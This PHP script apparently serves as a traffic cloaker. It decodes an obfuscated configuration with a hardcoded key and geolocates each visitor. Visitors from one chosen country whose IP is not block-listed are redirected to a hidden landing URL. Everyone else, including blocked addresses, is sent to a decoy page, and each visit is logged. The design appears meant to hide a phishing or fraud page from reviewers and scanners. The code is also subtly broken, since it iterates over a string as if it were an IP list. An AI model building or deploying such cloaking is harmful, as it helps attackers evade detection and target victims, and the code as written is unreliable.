<?php
date_default_timezone_set('America/Lima');
define('Hora', date('H')); /* Time */

require_once('class/class.web.php');
require_once('class/geoiploc.php');


class spyker{
	public function __construct(){
		$this->defaultHeaders();
		$injert = new AdsJerts();
		$dates = date("d/m/Y g:i a");
		$config = $injert->OpenFile('data/config.pj');
                	if(!empty(trim($config))){
                		$dconfig = $injert->Desofuscar($config, 'EC?F6/X4-F65*5');
				        $menus = explode("{%}",$dconfig);
                	}
        $ipv = $injert->getClientIP();

        // referrer on clic

        if(isset($_SERVER['HTTP_REFERER'])) {
              $ref = $injert->referer($_SERVER["HTTP_REFERER"]); 
            } else {
		      $ref = "none";
		    }

		// referrer on clic

		$code = getCountryFromIP($ipv);

		if($code == $menus[0]){
					$rcase = 0;
				} else {
					$rcase = 1;
				}

		switch($rcase){

			case 0: 
			//Ip List Block
			
			           $ipArray = $menus[3];
                         foreach ($ipArray as $ipTest) {
                         if (substr_count($ipv,trim($ipTest)) != "0") { 
						    $blocking = true;
						   }
						 }
						 if($blocking) {
						 $injert->savelogs($ref,$menus[0],$perfect=false);
								     $injecthtml = "<meta http-equiv='Refresh' content='0; URL=".$menus[2]."'>";
									 print $injecthtml;
									 exit();
						 } else {

					            
					            	$injert->savelogs($ref,$menus[0],$perfect=true);
					            	$injecthtml = "<meta http-equiv='Refresh' content='0; URL=".$menus[1]."'>";
									print $injecthtml;
									exit();
					            
                }

			break;


			case 1:
				  
				  $injert->savelogs($ref,$menus[0],$perfect=false);
				  $injecthtml = "<meta http-equiv='Refresh' content='0; URL=".$menus[2]."'>";
				  print $injecthtml;
				exit();
				
			break;



		}





	}

	function defaultHeaders(){
        header("Cache-Control: no-cache, private, must-revalidate");
        header("Pragma: no-cache");
        header("Expires: 0");
     }

}

$cl = new spyker();


?>